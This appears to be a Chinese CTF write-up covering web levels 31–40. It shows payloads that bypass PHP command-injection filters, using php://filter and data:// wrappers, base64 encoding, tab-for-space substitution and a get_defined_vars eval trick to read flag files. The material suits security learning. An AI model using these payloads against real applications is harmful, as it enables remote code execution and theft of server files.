web入门31-40

web31

分析代码
image
过滤了system和空格还有单引号,用passthru代替system,双引号代替单引号,%09(Tab键)代替空格
image

web32

分析代码
image
发现没有过滤include,构造payload;过滤了分号,用?>来代替,空格用%09(Tab键)代替
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
使用伪协议获取base64加密后的flag
image
解码获得flag
image

web33

分析代码
image
和上一关一样,使用文件包含和伪协议
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
因为这一关双引号也被过滤了,所以直接去掉双引号,不影响
image
解码获得flag
image

web34

分析代码
image
只比上一关多过滤了一个冒号,不影响使用上一关的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image
解码获得flag
image

web35

分析代码
image
发现过滤了等号,但是不要被迷惑了,第一个等号是用来传参的,不会影响,使用上一关的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image
解码得到flag
image

web36

分析代码
image
发现只多了0-9的过滤,不影响上一关的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image
解码得到flag
image

web37

分析代码
image
使用data伪协议查看flag
?c=data://text/plain,<?php system('cat fla*')?>
image

web38

分析代码
image
发现过滤了php,可以使用base64编码绕过
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhKicpPz4=
image

web39

分析代码
image
发现会在文件接一个.php,构造payload
?c=data://text/plain,<?php system('cat fla*');?><?php
payload末尾加不加<?php都行,加了更好理解
image

web40

分析代码
image
过滤了数字和特殊字符,构造payload
eval(array_pop(next(get_defined_vars())));

get_defined_vars():函数返回由所有已定义变量所组成的数组。
next():函数将内部指针指向数组中的下一个元素,并输出。
array_pop():函数删除数组中的最后一个元素。
简单来说这个payload的作用就是取出POST数组的最后一个元素并执行,所以使用POST传参:1=system('tac fla*');
最后就会执行:eval(system('tac fla*'));

image

posted @ 2026-01-17 10:18  大雪深埋  阅读(3)  评论(0)    收藏  举报